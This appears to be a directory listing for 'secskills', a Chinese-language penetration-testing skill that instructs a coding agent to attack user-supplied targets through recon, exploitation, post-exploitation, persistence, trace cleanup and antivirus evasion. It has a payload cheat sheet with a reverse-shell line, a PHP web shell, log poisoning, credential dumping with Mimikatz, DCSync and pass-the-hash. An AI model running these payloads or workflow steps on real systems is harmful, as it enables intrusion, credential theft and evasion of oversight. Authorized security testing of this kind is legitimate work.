BeClaude

secskills

New
99GitHub TrendingGeneralby Arenbai

渗透测试实战技能 v1.2.0。覆盖信息收集、漏洞发现 (3梯队9+3+6类)、漏洞利用、后渗透、免杀全流程。 当用户给出具体目标 (IP/域名/URL) 且意图是攻击/利用/拿权限时触发。 不触发: 概念讨论、蓝队防御、代码审计、CVE文档查询。

First seen 6/2/2026

Overview

渗透测试实战技能

架构: Level 1 (frontmatter) → Level 2 (本文件) → Level 3 (references/)

覆盖: 信息收集 → Web漏洞 → 主机漏洞 → 后渗透 → 免杀

触发条件

触发(全部满足):

  1. 意图是攻击/利用/拿权限,非学习/防御/讨论
  2. 给出具体目标: IP、域名、URL、端口、漏洞环境
  3. 涉及: SQL注入/XSS/RCE/SSRF/文件上传/LFI/XXE/反序列化/提权/横向/免杀

不触发(任一命中):

  • "什么是XSS"、"怎么防御" → 普通问答
  • 蓝队/应急响应/日志分析 → 非本Skill
  • 代码优化/重构/业务bug → 普通编程
  • "查CVE" → WebSearch
  • AI Prompt注入/越狱 → secknowledge-skill
  • 完整项目白盒审计 → code-audit-skill

行为: Skill 加载后正常待命;用户给出具体测试目标时 → 弹出 AskUserQuestion 方向键选择面板(授权/深度/范围),选择完成后进入测试流程。

行为准则(全程有效)

  1. 授权优先 — 利用步骤输出前确认: 授权渗透 | 本人环境。无授权 → 只出分析,不出武器化Payload
  2. 引用强制 — CVE/Payload 必须引用 references/ 中文件章节。未覆盖 → ⚠️ UNABLE TO CITE
  3. 风险标注 — 漏洞标 🔴致命/🔴高危/🟡中危/🟢低危 + 利用条件
  4. 链式思维 — 优先输出利用链 (A→B→C),非孤立漏洞
  5. 命令可执行 — 所有命令完整可复制,IP/端口用 <target> 占位
  6. 漏洞质量铁律 — 宁可漏报不可误报。每条漏洞必须逐项填写自检清单(YES/NO),任一项NO则直接丢弃。不报黑名单项目,不报扫描器原始输出,不报安全加固建议

⚔️ 漏洞过滤体系(输出前强制执行,逐条过审)

核心原则:渗透报告的质量 = 过滤掉的噪音量。宁可漏报,不可误报。

以下四道关卡逐级过滤。任一关卡未通过 → 该发现直接丢弃,不输出、不降级、不写进"安全建议"。

第零关:快速预筛(任意命中 → 直接丢弃)

以下 5 种是渗透测试中最高频的误判来源,直接丢弃,不进后续关卡

#判定典型场景
扫描器自动报的Burp/Nessus/AWVS/SQLMap 的原始告警,未经手动验证
凭经验推测的"可能存在SSRF"、"通常有越权"、"一般会泄露" — 未实际发请求
信息收集中间产物端口开放、服务版本、子域名列表、目录结构 — 这些是素材,不是漏洞
安全加固建议"建议开启CSP"、"建议升级TLS版本" — 这不算漏洞发现
纯静态分析读代码/读配置推断的漏洞,从未实际请求验证

第一关:自检门(逐项填写 YES/NO,强制输出)

每个漏洞写入报告前,必须逐项填写以下清单。任一项为 NO → 直接丢弃。

code
漏洞名称: ___________________
[ ] ① 实际发出了验证请求?        YES / NO
    请求命令: ___________________
[ ] ② 拿到了真实响应数据?        YES / NO
    响应关键内容(脱敏后): ________
[ ] ③ 造成了实际危害?            YES / NO
    具体危害(读了什么数据 / 执行了什么命令 / 越权了什么操作): ________
    ⚠️ "触发报错" ≠ "造成危害" | "能访问到" ≠ "拿到了敏感数据"
[ ] ④ 利用链完整可复现?          YES / NO
    步骤: 入口 → ___ → ___ → 危害
    ⚠️ 链中任一步为推测/猜测 → 填 NO
[ ] ⑤ 对照黑名单逐条检查通过?    YES / NO
    黑名单命中项(如有): ________
[ ] ⑥ 满足对应等级的最低准入?    YES / NO
    对应等级: 🔴致命 / 🔴高危 / 🟡中危 / 🟢低危
    满足的标准: ___________________

铁律

- ①~⑥ 全部 YES → 允许报告,且在报告中附带此清单

- 任一项为 NO → 直接丢弃,不在报告中出现,不降级输出

- ③ 为 NO 时(无实际危害),无条件丢弃,无论其他项是否为 YES

第二关:黑名单(逐条对照检查,命中即丢弃)

以下所有项严禁作为漏洞报告。每个漏洞输出前必须逐条对照检查。

类别黑名单项(永远不报为漏洞)
响应头缺少 CSP / HSTS / X-Frame-Options / X-Content-Type-Options / Referrer-Policy / Permissions-Policy;Cookie 缺少 HttpOnly / Secure / SameSite
信息泄露Server / X-Powered-By 版本号;前端 JS/HTML/CSS 中的路由/配置/注释/API路径;无敏感文件的目录列表;robots.txt / sitemap.xml / .git/HEAD(无敏感数据可读);phpinfo()(无凭据泄露);调试模式/DEBUG=True(无凭据泄露);详细错误消息(不含密码/Token/密钥等敏感数据)
认证会话登录用户名枚举(响应差异/时间差异);密码策略不够严格(无爆破成功证明);会话未在服务端销毁(无劫持证明);autocomplete/缓存未禁用;URL参数传敏感信息(无窃取证明);默认凭据尝试失败;无验证码(无爆破成功证明);JWT none algorithm(无实际绕过证明);401/403响应(=被拒绝,≠认证绕过)
SSL/网络自签名证书;弱加密套件;TLS版本低;HTTP未强制跳转HTTPS;OPTIONS/TRACE方法开启;弱SSH算法(无凭据获取证明);管理后台/默认页面存在但无法进入
未验证利用SQL注入报错但无法提取数据;文件上传成功但Web服务器不解析执行;无回显反射XSS;SSRF内网可达但未获取敏感数据/凭证;任意文件读只读到Web根目录公开文件;命令注入无实际输出;文件包含无可利用路径(无日志投毒/无可控文件/无伪协议)
其他禁止纯功能缺陷(UI/业务逻辑Bug);短信/邮箱轰炸(无资费损失证明);扫描器"疑似/可能"告警未验证;信息收集中间产物报为漏洞;同系统同类型漏洞>3个(降级合并);CSRF Token缺失无敏感操作可劫持;API无频率限制;利用条件极苛刻(物理接触/猜64位随机数等)

所有缺失安全响应头 → 不输出。这不是漏洞,是配置噪音。如需提醒,在测试摘要中一行带过:"目标缺少部分安全响应头,非安全漏洞,不展开。"

第三关:严重等级准入

漏洞必须满足对应等级的最低准入条件,否则降级重审。降级后仍不满足 → 丢弃。

等级最低准入(必须满足至少一项)不满足则
🔴致命① 获取系统权限(RCE/WebShell/命令注入拿Shell)② 核心DB拖库(≥3个敏感字段:身份证/银行卡/手机号/密码/地址)③ 核心认证绕过(无凭证直接进后台)→ 降为高危重审
🔴高危① 任意密码重置/登录 ② 重要系统SQL注入(有数据回显)③ 重要系统SSRF(获取内网凭证/云元数据)④ 重要系统任意文件读(读到配置/源码/密钥)⑤ 越权增删改查用户敏感信息 ⑥ 本地提权(完整利用链)→ 降为中危重审
🟡中危① 存储型XSS(能窃取Cookie/钓鱼)② 敏感操作CSRF(支付/改密)③ 非核心SQL注入(有数据回显)④ 任意文件操作(读/写/删,有实际影响)⑤ 普通越权 ⑥ 弱口令(有成功登录截图)→ 降为低危重审
🟢低危① 反射XSS(有弹窗证明)② 非核心存储XSS ③ 有限越权(如越权购物车)④ 需特殊条件的信息泄露(SVN泄露等)⑤ 有报错但利用受限的SQL注入→ 直接丢弃
丢弃边缘/废弃环境、无法复现、利用条件极苛刻且无通用性、同系统同类型>3个降级合并

典型误判场景速查(这些都是"看起来像漏洞"但实际不是)

以下场景模型高频误判,单独列出以校准判断:

你看到的容易误报为实际判断
登录失败 "用户名不存在" vs "密码错误" 响应不同用户名枚举这不是漏洞。常见UX设计,无实质危害,无法进一步利用
服务器500错误返回了堆栈trace信息泄露除非堆栈中包含密码/Token/密钥/数据库连接串,否则不算
/admin 返回302跳转登录页未授权访问302=已正确保护。只有直接访问成功拿到后台数据才算
修改Cookie/URL中的ID访问到他人公开信息越权必须确认读到他人敏感/隐私数据(非公开信息)才算
上传了.php文件返回200 OK文件上传RCEWeb服务器必须实际解析执行了PHP代码才算
内网IP:端口返回了HTTP响应SSRF→内网探测必须通过SSRF获取到敏感数据/云凭证/内部服务内容才算
密码输入框 autocomplete="on"敏感信息泄露浏览器默认行为,非应用漏洞
验证码是4位数字可脚本识别认证绕过必须有实际爆破成功的证据才算

幻觉防护

内容类型正确禁止
CVE 编号WebSearch → WebFetch PoC → 实际验证。禁止凭记忆编造编号和版本范围看到版本号直接报 CVE
Payloadreferences/ 引用凭记忆写
工具参数标准 Kali 语法或 references/ 记载伪造参数
版本范围"Apache 2.4.0-2.4.49 (CVE-2021-41773)""所有版本"
无匹配⚠️ UNABLE TO ASSESS: 未覆盖,建议[行动]凭经验断言
自检门失败跳过该漏洞,不输出输出无危害/无证据/无利用链的漏洞
黑名单命中跳过,标注"配置噪音"将配置噪音报为漏洞

标注: [引用:file:section] · ⚠️ 通用知识 · 💡 方法论推理

输出约束

  • 禁止: 开场客套话、工具调用描述、已知信息复述、未授权武器化链
  • 报告铁律: 仅输出已确认利用的漏洞 + 修复方案。不输出"可能存在"、"建议检查"、"安全配置建议"、扫描器原始告警。无确认漏洞就说"未发现可利用漏洞",不填充无效内容
  • CORS/CRLF/Cache-Poison/Host-Header/HTTP-Smuggling/GraphQL: 默认不报为漏洞。这些是技术特性/架构问题,除非能展示完整利用链并造成实际数据泄露/账户劫持,否则一律不输出
  • 利用链: 仅输出已确认的,宁少勿多,不设下限
  • Payload: ≤5条/类、表格/列表优先

工作流程

严格两阶段: [攻击阶段] Step 1+2 (发现与检测) → [利用阶段] Step 3+4 (武器化与后渗透)

两阶段引用隔离: 利用阶段只能引用攻击阶段已加载的 L2 文件,禁止跨阶段新增 reference

⚠️ 测试确认: 当用户给出具体目标(IP/域名/URL)要开始测试时,必须先调用 AskUserQuestion 弹出交互式选择面板。

用户用 ↑↓ 方向键 选择,Enter 确认,对话不中断。选择完成后再进入 Step 1。

🎯 测试确认(有目标时触发)

当用户给出具体测试目标时,使用 AskUserQuestion 一次性弹出以下 3 个问题:

问题 1 — 授权级别:

  • Header: 授权级别
  • 选项:

- 🔴 授权渗透 — 正式授权,完整利用链 - 🟡 灰盒测试 — 有测试账号 - 🟢 黑盒测试 — 无凭证,外部探测 - ⚪ 本人环境 — 自建靶场/CTF

问题 2 — 测试深度:

  • Header: 测试深度
  • 选项:

- 标准测试 (推荐) — 全量漏洞检测+验证 - 快速扫描 — 端口+指纹+常见PoC - 深度测试 — 含内网横向+后渗透 - 仅信息收集 — 不利用

问题 3 — 测试范围:

  • Header: 测试范围
  • 选项:

- 仅主目标 — 只测给定目标 - 含子域名 — 扩展子域名/子目录 - 含关联资产 — C段/同ASN

选择完成后输出简短确认,立即进入 Step 1。如有测试账号,用户通过 "其他" 填写。

🔍 攻击阶段 — 发现与检测

Step 1: 信息收集 + 攻击面识别

  • 分类目标 (Web/主机/内网/混合) → 按导航索引匹配 reference → 输出列表 L1
  • 攻击面: 端口/服务/Web入口/认证/API/子域名
  • 指纹重点: 识别到的组件+版本号 → 标记为「历史漏洞匹配候选」,进入 Step 2a 优先处理
  • Step1: 类型={X}, 攻击面={N}项, |L1|={M}个reference, 历史漏洞候选={P}个组件

Step 2: 漏洞发现 + 知识加载

指纹识别到具体软件/版本后,优先搜索该版本的所有已知历史漏洞(CVE + 无编号漏洞 + 框架已知缺陷),然后再进行通用漏洞检测。

"历史漏洞"范围: CVE 编号漏洞 + 无 CVE 的公开漏洞(如 ThinkPHP 5.x RCE、Shiro 550、WebLogic 反序列化)+ Exploit-DB/GitHub 公开 PoC + 厂商安全公告。

  1. 提取可匹配组件: 从 Step 1 指纹结果中提取所有带版本号和不带版本号的组件(如 Apache 2.4.49Struts 2.xThinkPHPShiroWebLogic
  2. 多维度搜索历史漏洞: 对每个组件并行执行以下搜索 — 禁止凭记忆编造漏洞和版本范围

- "[组件名] [版本号] CVE exploit" — CVE 编号漏洞 - "[组件名] [版本号] RCE 漏洞 PoC" — 无 CVE 的 RCE 漏洞 - "[组件名] [版本号] 反序列化 漏洞" — 特定类型漏洞 - "site:exploit-db.com [组件名]" — Exploit-DB 公开利用 - "site:github.com [组件名] [版本号] exploit" — GitHub PoC

  1. 加载 PoC: 搜索结果中有公开 PoC → WebFetch 获取详情;无公开 PoC → 跳过该漏洞,不做猜测
  2. 验证: 对目标实际发送 PoC 请求,验证是否可 exploited
  3. 过自检门: 历史漏洞验证同样必须通过全部 6 项自检清单 — 版本匹配 ≠ 漏洞存在,必须实际执行并拿到危害证据
  4. 失败处理: 验证失败(已修复/版本不适用/配置不同/WAF拦截)→ 记录跳过原因,不输出到报告
  5. 无版本号组件的处理: 如指纹只有 Shiro 无版本号 → 搜索 "Shiro 漏洞检测" → 用通用检测方法(如 Shiro RememberMe 反序列化检测)直接验证,而非猜测版本

💡 历史漏洞命中 → 通常为 🔴致命/🔴高危,是投入产出比最高的攻击路径,一条命中 ≈ 10 条通用模糊测试。

⚠️ 发现致命/高危历史漏洞成功利用 → 立即停止深入,先确认并记录。

⚠️ 有指纹无版本号 ≠ 不能测。如 Shiro/WebLogic/JBoss 等,直接用特征检测方法验证,不需知道精确版本。

  • 按 L1 加载 reference,每次 ≤1000tokens → 记加载集合 L2 (L2 ⊆ L1)
  • 按优先级分层检测:第一梯队必测 → 第二梯队选择性测 → 第三梯队快速过(默认跳过)
  • 仅输出已通过自检门的确认漏洞:每条标注 🔴致命/🔴高危/🟡中危/🟢低危 + 前提条件 + 检测命令 + 响应证据
  • 禁止输出"漏洞假设"列表 — 不输出推测性/待验证的漏洞条目
  • 失败降级: Read重试1次 → Bash cat → 标 "不可读"移除
  • Step2: 历史漏洞匹配={X}条(已验证{Y}/已排除{Z}), 通用检测已确认={K}条(已过自检门), 已过滤噪音={N}条

⚠️ 攻击阶段不输出武器化 Payload,仅输出检测用 PoC

⚠️ 第三梯队项目(CORS/CRLF/缓存投毒/Host头/请求走私/GraphQL内省)快速检测后默认跳过,不输出到报告

⚔️ 利用阶段 — 武器化与后渗透

Step 3: 漏洞利用 + 链式组合 + 报告生成

  • 从 L2 取利用 Payload → 可执行命令 → 优先构建利用链 (A→B→C→RCE)
  • 每条利用必须引用 L2 中的具体 section,禁止重新搜索 reference
  • 过自检门: 每条漏洞/利用链必须满足「能打出危害 + 有利用链 + 有证据」,否则跳过
  • 生成最终报告: 按「报告输出格式」模板输出(见下文),每条漏洞必须附带修复方案
  • Step3: 利用链={N}条, 引用覆盖率={X}%, 过滤={M}条(自检门/黑名单)

Step 4: 后渗透(按需触发)

  • 目标: 提权 / 横向移动 / 凭据窃取 / 域渗透 / 持久化 / 痕迹清理
  • Step4: 提权={X}, 横向={Y}条, 凭据={Z}组, 报告={已生成/未生成}

报告输出格式(强制)

最终报告包含以下两部分。无确认漏洞时只输出一条:✅ 测试完成,未发现可利用漏洞。

一、已确认漏洞

每个漏洞必须包含以下字段,缺一不可:

code
### 🔴/🔴/🟡/🟢 [漏洞名称] — [目标URL/端点]

**危害**: [一句话描述实际造成的危害,非推测]

**证据**: 
- 请求: [完整可复制的命令/请求]
- 响应: [脱敏后的关键响应内容]
- 截图/日志: [如有]

**利用链**: [入口] → [步骤1] → [步骤2] → [危害结果]

**自检清单**:
[ ] ① 实际发出请求: YES | ② 真实响应: YES | ③ 实际危害: YES
[ ] ④ 利用链完整: YES | ⑤ 黑名单通过: YES | ⑥ 等级准入: YES

**修复方案**: [具体可操作的修复建议,非泛泛而谈]

二、测试摘要

code
- 测试目标: <target>
- 测试时间: <date>
- 确认漏洞: {N}条 (🔴致命: X, 🔴高危: Y, 🟡中危: Z, 🟢低危: W)
- 已排除噪音: {M}条 (已过自检门/黑名单过滤,不在报告中展开)
  • 无确认漏洞时输出: ✅ 测试完成,未发现可利用漏洞。
  • 禁止: 在报告中输出"安全配置建议"、"加固建议"、CORS/响应头缺失等配置噪音
  • 禁止: 输出未验证的"可能存在"、"疑似"、"建议进一步检查"条目

场景导航索引

信息收集

场景reference
端口扫描+服务识别references/info-port-scan.md
子域名枚举references/info-subdomain.md
目录/文件爆破references/info-dir-brute.md
Web指纹/OSINTreferences/info-fingerprint.md / references/info-osint.md

Web 漏洞 — 攻击阶段(检测与发现)

漏洞优先级分层

- 🔴 第一梯队(必测必报): 确认即报告,不确认不编造

- 🟡 第二梯队(验证后报告): 仅在有实际危害证据时报告

- ⚫ 第三梯队(默认不报): 技术特性/架构问题,非安全漏洞。除非展示完整利用链+实际数据泄露/账户劫持,否则一律不输出

场景reference关键检测
SQL 注入references/web-sqli.md闭合/报错/延时/OrderBy
命令执行 RCEreferences/web-rce.md拼接符/回显/不出网
SSRFreferences/web-ssrf.md内网探测/云元数据/Gopher
文件上传references/web-upload.md后缀/内容/条件竞争
文件包含/路径遍历references/web-lfi-path.md伪协议/日志投毒/截断
XXE 注入references/web-xxe.md文件读取/Blind/外带DTD
反序列化references/web-deser.mdPHP/Java/Python gadget
SSTI 模板注入references/web-ssti.mdJinja2/Twig/FreeMarker
越权/逻辑漏洞references/web-auth-logic.mdIDOR/支付/密码重置/会话
场景reference关键检测报告条件
XSS 跨站脚本references/web-xss.md反射/存储/DOM/CSP存储型能窃取Cookie/钓鱼成功,反射XSS需有真实弹窗截图
目录遍历/敏感文件references/web-dir-traversal.md路径穿越/目录列表/配置读取读到非公开敏感文件(配置/源码/密钥),读到公开文件不算
竞争条件/并发references/web-race-condition.mdTOCTOU/并发绕过/秒杀/优惠券成功绕过业务限制(超发/重复下单/越权操作)

⚠️ 这些是架构特性/配置问题,不是安全漏洞。除非能展示完整利用链造成实际数据泄露或账户劫持,否则一律不输出。

99% 的情况下,以下项目检查后直接跳过,不在报告中出现。

场景reference何时才报告(极端罕见)
CORS 配置references/web-cors.md必须证明跨域窃取到敏感数据(Cookie/Token/API响应),仅 Origin 反射不算
CRLF 注入references/web-crlf.md必须证明响应头注入导致XSS或会话固定,仅 %0d%0a 回显不算
Host 头注入references/web-host-header.md必须证明密码重置链接劫持成功,仅 Host 反射不算
缓存投毒references/web-cache-poison.md必须证明投毒后其他用户受影响的XSS/重定向,仅缓存头存在不算
HTTP 请求走私references/web-http-smuggling.md必须证明劫持其他用户请求/窃取数据,仅时间差异不算
GraphQL 内省references/web-graphql.md必须证明通过GraphQL获取到敏感数据或实现SQLi/RCE,仅内省开启不算

Web 漏洞 — 利用阶段(武器化)

场景reference关键利用
WAF/IDS 绕过references/web-waf-bypass.md编码/分块/HPP/协议走私

各漏洞利用Payload在对应reference的「利用阶段」section中,WAF绕过为利用阶段通用技巧

主机与后渗透

场景reference
密码爆破references/host-brute.md
Linux 提权references/post-linux-privesc.md
Windows 提权references/post-win-privesc.md
凭据窃取+横向references/post-credentials.md
域渗透references/post-ad.md

免杀规避

场景reference
Shellcode 混淆+加载器references/evasion-shellcode.md

工具速查 (独立 tools/ 目录)

工具reference用途
Nmapreferences/tools-nmap.md端口扫描+服务识别+NSE脚本
SQLMapreferences/tools-sqlmap.mdSQL注入自动化+文件读写+OS Shell
Metasploitreferences/tools-msf.mdPayload生成+Meterpreter+后渗透模块
Hydrareferences/tools-hydra.md多协议密码爆破
Impacketreferences/tools-impacket.mdPTH/PTT/DCSync/横向移动
Gobuster/ffufreferences/tools-fuzz.md目录爆破+VHOST+参数Fuzz

Payload 速查入口

目的速查详细
SQLi Union' UNION SELECT ...--web-sqli.md §2
SQLi 报错extractvalue/updatexmlweb-sqli.md §3
SQLi 盲注IF(...SLEEP(3)...)web-sqli.md §4
XSS<script>alert(1)</script>web-xss.md §1
反弹Shellbash -i >& /dev/tcp/x/xweb-rce.md §4
SSRF 元数据http://169.254.169.254/web-ssrf.md §3
文件上传 PHP<?php @eval($_POST[1]);?>web-upload.md §1
LFI 日志投毒UA:<?php system('id');?>web-lfi-path.md §3
目录遍历基础?file=../../../../etc/passwdweb-dir-traversal.md §2
并发竞争 Turboengine.openGate('race')web-race-condition.md §3
SSRF→Redis RCEGopher 协议web-ssrf.md §4
Linux SUIDfind / -perm -4000post-linux-privesc.md §2
Win TokenPotato/PrintSpooferpost-win-privesc.md §6
Mimikatzsekurlsa::logonpasswordspost-credentials.md §1
PTHpsexec.py -hashes :NTLMpost-credentials.md §4
MSFvenom-p windows/x64/shell_reverse_tcpevasion-shellcode.md §1
XXE 文件读取<!ENTITY xxe SYSTEM "file://...">web-xxe.md §1
SSTI Jinja2 RCE{{lipsum.__globals__...}}web-ssti.md §2
IDOR 检测遍历ID/改资源标识符web-auth-logic.md §1
支付逻辑篡改改价格/数量/优惠券web-auth-logic.md §4
PHP 反序列化O:N:"Class":N:{...}web-deser.md §1
Java ysoserialCommonsCollections5web-deser.md §2
KerberoastingRubeus kerberoastpost-ad.md §3
DCSyncmimikatz lsadump::dcsyncpost-ad.md §5
Golden Ticketkrbtgt hash + domain sidpost-ad.md §6
HTTP 请求走私CL.TE / TE.CL 走私请求web-http-smuggling.md §3⚫ 默认不报
Host 头投毒密码重置链接劫持web-host-header.md §2⚫ 默认不报
缓存投毒XSS非键化header → 缓存篡改web-cache-poison.md §2⚫ 默认不报
CORS 跨域窃取Access-Control-Allow-Origin 反射web-cors.md §2⚫ 默认不报
CRLF 注入响应头注入/会话固定web-crlf.md §2⚫ 默认不报
GraphQL 内省__schema / __typeweb-graphql.md §2⚫ 默认不报

零结果处理

情况动作
目标不可达❌ UNABLE TO ASSESS: 目标无响应
Reference 未覆盖⚠️ UNABLE TO CITE: 建议 WebSearch [关键词]
无授权`仅检测方法,不输出武器化链。授权本人环境?`
WAF拦截加载 web-waf-bypass.md
利用失败检查版本→防护→替代Payload

路由边界

诉求路由
渗透/红队/提权本 Skill
AI/LLM 安全测试secknowledge-skill
白盒代码审计code-audit-skill
查CVE/文档WebSearch/Context7

Install & Usage

1
Create the skills directory
mkdir -p .claude/skills
2
Download the skill file
mkdir -p .claude/skills && curl -o .claude/skills/secskills.md https://raw.githubusercontent.com/Arenbai/SecSkills/main/SKILL.md
3
Invoke in Claude Code
/secskills
View source on GitHub

Security Audits

LicenseUnknownSourceWarnRepositoryPass

Frequently Asked Questions

What is secskills?

渗透测试实战技能 v1.2.0。覆盖信息收集、漏洞发现 (3梯队9+3+6类)、漏洞利用、后渗透、免杀全流程。 当用户给出具体目标 (IP/域名/URL) 且意图是攻击/利用/拿权限时触发。 不触发: 概念讨论、蓝队防御、代码审计、CVE文档查询。

How to install secskills?

To install secskills: create the skills directory (mkdir -p .claude/skills), then run: mkdir -p .claude/skills && curl -o .claude/skills/secskills.md https://raw.githubusercontent.com/Arenbai/SecSkills/main/SKILL.md. Finally, /secskills in Claude Code.

What is secskills best for?

secskills is a skill categorized under General. Created by Arenbai.